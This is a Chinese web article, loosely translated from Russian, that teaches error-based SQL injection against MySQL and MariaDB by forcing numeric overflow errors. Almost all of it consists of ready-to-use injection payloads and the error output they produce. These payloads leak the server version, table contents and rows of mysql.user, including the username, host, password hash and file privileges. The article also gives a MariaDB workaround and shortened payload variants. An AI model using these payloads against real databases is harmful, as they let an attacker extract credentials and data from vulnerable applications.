新型Mysql报错注入_MySQL

原文是俄文，不好做翻译，附上大概的内容：这种报错注入主要基于Mysql数据类型溢出mysql > SELECT 18446744073709551610 * 2 ;ERROR 1690 ( 22003 ): BIGINT UNSIGNED value is out of range in '(18446744073709551610 * 2)'mysql > SELECT - 1 * 9223372036854775808 ;ERROR 1690 ( 22003 ): BIGINT UNSIGNED value is out of range in '(- (1) * 9223372036854775808)'mysql> SELECT * 2 (if ((SELECT * from (SELECT (version ()) ) s), 18446744073709551610, 18446744073709551610));ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(2 * if (( Select ' 5.5 'from Dual), 18446744073709551610.18446744073709551610))'mysql> SELECT 2 * if((SELECT * from (select * from test.shop) as `` limit 1)>(SELECT * from test.shop limit 1), 18446744073709551610, 18446744073709551610);ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(2 * if(((select `article`,`dealer`,`price` from (select `test`.`shop`.`article` AS `article`,`test`.`shop`.`dealer` AS `dealer`,`test`.`shop`.`price` AS `price` from `test`.`shop`) limit 1) > (select `test`.`shop`.`article`,`test`.`shop`.`dealer`,`test`.`shop`.`price` from `test`.`shop` limit 1)),18446744073709551610,18446744073709551610))'// Узнаем имена колонок в таблицеmysql> SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) as `` limit 1)ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(2 * if(((select 'localhost','root','*','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','','','','','0','0','0','0','','' from dual limit 1)需要注意的是该方法并不适用于于老版的Mysql，除此之外你还需要了解错误信息的长度限制，因为这将决定你可以获取多长的信息：mysys / my_error.c/* Max length of a error message. Should be kept in sync with MYSQL_ERRMSG_SIZE. */#define ERRMSGSIZE (512)如果对象是MariaDB（Mysql的一个分支），当你尝试上面的方法时，你可能会看到这样的报错信息：mysql> SELECT 2*(if((SELECT * from (SELECT (version()))s), 18446744073709551610, 18446744073709551610))ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(2 * if((select #),18446744073709551610,18446744073709551610))'作为解决方案，可以通过这种方式来解决这个问题：mysql> SELECT (i IS NOT NULL) - -9223372036854775808 FROM (SELECT (version())i)a;ERROR 1690 (22003): BIGINT value is out of range in '(('5.5-MariaDB' is not null) - -(9223372036854775808))'现在让我们看看能不能让我们的Vector更短一些//查询数据库版本SELECT 2*(if((SELECT * from (SELECT (version()))s), 18446744073709551610, 18446744073709551610))=select 1E308*if((select*from(select version())x),2,2)SELECT (i IS NOT NULL) - -9223372036854775808 FROM (SELECT (version())i)a=select if(x,2,2)*1E308 from(select version()x)ySELECT 2 * if((SELECT * from (select * from test.shop) as `` limit 1)>(SELECT * from test.shop limit 1), 18446744073709551610, 18446744073709551610)=select 1E308*if((select*from(select*from mysql.user)``limit 1)>(select*from mysql.user limit 1),2,2)SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) as `` limit 1)=select 1E308*if((select*from(select*from mysql.user LIMIT 1)``limit 1)select 1E308*if((select user||host||password||file_priv from(select*from mysql.user LIMIT 1)a limit 1),2,2)[1][2]  下一页